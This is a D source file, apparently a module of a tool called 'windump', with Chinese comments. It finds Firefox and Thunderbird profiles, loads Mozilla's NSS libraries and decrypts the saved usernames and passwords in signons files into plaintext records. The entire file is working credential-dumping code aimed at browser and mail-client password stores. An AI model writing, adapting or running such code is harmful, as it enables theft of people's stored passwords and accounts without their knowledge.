module windump.plugins.mozilla.mozilla;

import std.stream;
import std.c.windows.windows;
import std.string;
import std.file;
import std.regexp;
import std.base64;

version(WD_Console) import std.stdio;

import windump.scanning.detector;
import windump.util;
import windump.dll;
import windump.registry;

string lookupSignonsPath(string path)
{
    scope File file = new File(path ~ r"\profiles.ini");
    string pfPath = null;

    while(!file.eof)   
    {
        string line = file.readLine;       
        
        foreach(m; RegExp(`Path=(.*)`, "i").search(line))
            pfPath = m.match(1);
    }
    if(pfPath is null)
        throw new Exception("Invalid profiles.ini format");
    
    pfPath = sub(pfPath, "/", "\\");
    
    return path ~ '\\' ~ pfPath;
}



private
{

    enum  SECStatus{
        SECWouldBlock = -2,
      SECFailure = -1,
      SECSuccess = 0
    };	

    enum  SECItemType{
        siBuffer = 0,
         siClearDataBuffer = 1,
         siCipherDataBuffer = 2,
         siDERCertBuffer = 3,
         siEncodedCertBuffer = 4,
         siDERNameBuffer = 5,
         siEncodedNameBuffer = 6,
         siAsciiNameString = 7,
         siAsciiString = 8,
         siDEROID = 9,
         siUnsignedInteger = 10,
         siUTCTime = 11,
         siGeneralizedTime = 12
    };

    struct SECItemStr {
        SECItemType type;
        ubyte *data;
        uint len;
    };

    alias SECItemStr SECItem;
    alias void* KeySlot;


    extern(C)
    {
        alias SECStatus function(char *configdir) FN_NSS_Init;

        //这个函数的第一个参数与 Mozilla 官方定义不同，因未用到，故设为 void*
        alias SECItem* function(void *arenaOpt, SECItem *outItemOpt,
                char *inStr, uint inLen)  FN_NSSBase64_DecodeBuffer;
        alias KeySlot function()    FN_PK11_GetInternalKeySlot;
        alias SECStatus function(KeySlot slot, 
                BOOL loadCerts, void* wincx)    FN_PK11_Authenticate;
        alias SECStatus function(SECItem *data, 
                SECItem *result, void *cx)  FN_PK11SDR_Decrypt;
        alias void function()   FN_NSS_Shutdown;
        alias void function(KeySlot slot)   FN_PK11_FreeSlot;
        alias void function(SECItem *zap, BOOL freeit) FN_SECITEM_FreeItem;
    }
}

private class NssDecrypter
{
    invariant
    {
        assert(!(m_slot is null));
    }

private:
    string m_dllDir;
    KeySlot m_slot;
    bool m_loaded = false;

	// 其次载入 DLL
	Module m_nspr4;
	Module m_plc4;
	Module m_plds4;
	Module m_softokn3;
	Module m_nss3;

	Module m_sqlite3;
	Module m_nssutil3 = null; // Firefox3 才有
	Module m_mozcrt19 = null; // Firefox3 才有

	// 最后再初始化成员函数
	FN_NSS_Init m_NSS_Init;
	FN_NSSBase64_DecodeBuffer m_NSSBase64_DecodeBuffer;
	FN_PK11_GetInternalKeySlot m_PK11_GetInternalKeySlot;
	FN_PK11_Authenticate m_PK11_Authenticate;
	FN_PK11SDR_Decrypt m_PK11SDR_Decrypt;
	FN_NSS_Shutdown m_NSS_Shutdown;
	FN_PK11_FreeSlot m_PK11_FreeSlot;
	FN_SECITEM_FreeItem m_SECITEM_FreeItem;

public:

    this(string dllDir, string configDir)
    {
        m_dllDir = dllDir;

        if(m_dllDir[length - 1] != '\\')
            m_dllDir ~= '\\';

    
        // 似乎是 Firefox3 才有的
        string sqlite3Path = m_dllDir ~ "SQLITE3.DLL";
        m_sqlite3 = exists(sqlite3Path) == 1 ? new Module(sqlite3Path) : null;

        string mozcrt19Path = m_dllDir ~ "MOZCRT19.DLL";
        m_mozcrt19 = exists(mozcrt19Path) == 1 ? new Module(mozcrt19Path) : null;

        m_nspr4 = new Module(m_dllDir ~ "NSPR4.DLL");


        m_plc4 = new Module( m_dllDir ~ "PLC4.DLL");
        m_plds4 = new Module( m_dllDir ~ "PLDS4.DLL");

        //如果有 Firefox3 的 nssutil3.dll 就载入
        string nssutil3Path = m_dllDir ~ "NSSUTIL3.DLL";
        m_nssutil3 = exists(nssutil3Path) == 1 ? new Module(nssutil3Path) : null;

        m_softokn3 = new Module( m_dllDir ~ "SOFTOKN3.DLL");
        m_nss3 = new Module(m_dllDir ~ "NSS3.DLL");

     
        m_NSS_Init = m_nss3.getSymbol!(FN_NSS_Init)("NSS_Init");
        m_NSSBase64_DecodeBuffer = 
            m_nss3.getSymbol!(FN_NSSBase64_DecodeBuffer)("NSSBase64_DecodeBuffer");
        m_PK11_GetInternalKeySlot =
            m_nss3.getSymbol!(FN_PK11_GetInternalKeySlot)("PK11_GetInternalKeySlot");
        m_PK11_Authenticate =
            m_nss3.getSymbol!(FN_PK11_Authenticate)("PK11_Authenticate");
        m_PK11SDR_Decrypt = 
            m_nss3.getSymbol!(FN_PK11SDR_Decrypt)("PK11SDR_Decrypt");
        m_NSS_Shutdown = 
            m_nss3.getSymbol!(FN_NSS_Shutdown)("NSS_Shutdown");
        m_PK11_FreeSlot = 
            m_nss3.getSymbol!(FN_PK11_FreeSlot)("PK11_FreeSlot");
        m_SECITEM_FreeItem = 
            m_nss3.getSymbol!(FN_SECITEM_FreeItem)("SECITEM_FreeItem");

        if(m_NSS_Init(toStringz(configDir)) != SECStatus.SECSuccess)
            throw new Exception("ERROR: NSS_Init");
        
        m_slot = m_PK11_GetInternalKeySlot();

        if((m_slot is null))
            throw new Exception("ERROR: PK11_GetInternalKeySlot");

        if(m_PK11_Authenticate(m_slot, TRUE, null) != SECStatus.SECSuccess)            
            throw new Exception("ERROR: m_PK11_Authenticate");

        m_loaded = true;

        scope(failure)
        {
            if(!(m_slot is null))m_PK11_FreeSlot(m_slot);
            m_NSS_Shutdown();
        }
    }

    public ~this()
    {
        close();
    }

    public void close()
    {        
        if(!m_loaded)return;
        if(!(m_slot is null))
            m_PK11_FreeSlot(m_slot);

        m_NSS_Shutdown();

        m_nspr4.close();
        m_plc4.close();    
        m_plds4.close();
        if(m_nssutil3 !is null) m_nssutil3.close();
        if(m_mozcrt19 !is null) m_mozcrt19.close();
        m_softokn3.close();    
        m_nss3.close();

        m_loaded = false;
    }

    public string decrypt(string crypted)
    in
    {
        assert(!(m_slot is null));
    }
    body        
    {
        SECItem *inText =         
            m_NSSBase64_DecodeBuffer(null, null, toStringz(crypted), crypted.length);
        if(inText == null)
            throw new Exception("Failed to decode Base64");

        SECItem resultItem;
        resultItem.data = null;
        resultItem.len = 0;
        if(m_PK11SDR_Decrypt(inText, &resultItem, null) != SECStatus.SECSuccess)
        {
            throw new Exception("Failed to decrypt");            
        }

        string ret;
        char* resultStr = cast(char*)resultItem.data;
        ret.length = resultItem.len;
        ret[0 .. resultItem.len] = resultStr[0..resultItem.len];

        scope(exit)
        {
            if(inText != null)m_SECITEM_FreeItem(inText, TRUE);
            if(inText != null)m_SECITEM_FreeItem(&resultItem, FALSE);
        }

        return ret;
    }


};

//////////////////////// class FirefoxDetector ////////////////////////////////////
//
class FirefoxDetector : Detector!(FirefoxDetector, "browser/firefox", "table")
{
	private const string FirefoxKey = `SOFTWARE\Mozilla\Mozilla Firefox`;
    private const string ProviderName = "firefox";

    public this() 
	{
    }

    public override ResultItem[] update()
    {
        ResultItem[] ret;

        string spath = lookupSignonsPath(getUserProfileDirectory() ~ r"\Application Data\Mozilla\Firefox");
        auto decrypter = new NssDecrypter(findInstallDirectory(),
                    spath);
        scope(exit) decrypter.close();

        string fileContent;
        //WORKAROUND: 直接用字符串 pattern 还不行，非得 Regex
        //看酱紫是 phobos 的 bug
        foreach(filePath; listdir(spath, RegExp(`signons.+\.txt`))) 
        {
            fileContent ~= cast(string)read(filePath);
        }
        
        foreach(m; RegExp(`.\r\n(.*)\r\n.*\r\n(.*)\r\n\*.*\r\n(.*)\r\n`).search(fileContent))
        {
            string account = m.match(2);
            string pass = m.match(3);

            string realAccount;
            string realPass;

            try
            {
                realPass = decrypter.decrypt(pass);
                realAccount = decrypter.decrypt(account);
            }
            catch(Exception e)
            {
                continue;
            }
            
            ResultItem item;
            item.provider = ProviderName;
            item.host = m.match(1);
            item.account = realAccount;
            item.password = realPass;
            ret ~= item;
            
        }

        return ret;
    }

    private string findInstallDirectory()
    {
        Key hklm = Registry.localMachine;
        scope Key k = hklm.openSubkey(FirefoxKey);
        string ver = k.getValue("CurrentVersion").value_SZ();
        scope Key subkey = hklm.openSubkey(FirefoxKey ~ `\` ~ ver ~ `\Main`);

        string ret = subkey.getValue("Install Directory").value_SZ();
        return ret;
    }

}
////////////////////////////////////////////////////////////////////////////////

class TBDetector : Detector!(TBDetector, "email-client/thunderbird", "table")
{
	private const string RegexpString = `://(.+)\@(.+)\s`
                            `\\=username=\\\s`
                            `~\s`
                            `\*\\=password=\\\s`
                            `~(.+)\s`
                            `\.\s`;
    private const string ProviderName = "thunderbird";

    public this()
    {
    }

    public override ResultItem[] update()
    {
        string spath = 
            lookupSignonsPath(
                    std.path.join(getUserProfileDirectory(), `\Application Data\Thunderbird`)
                    );

        spath = std.path.join(spath, "signons.txt");
        return decryptSignons(spath);
    }

	private static ResultItem[] decryptSignons(string signonsPath)
	{
		string fileContent = cast(string)read(signonsPath);

        ResultItem[] ret;
		
		foreach(m; RegExp(RegexpString).search(fileContent))
		{
			try
			{
                ResultItem item;
                item.provider = this.ProviderName;
				item.host = m.match(2);
				item.account = m.match(1);
				item.password = decode(m.match(3));
                ret ~= item;
			}
			catch(Exception e)
			{
				continue;
			}
		}

		return ret;
	}

}
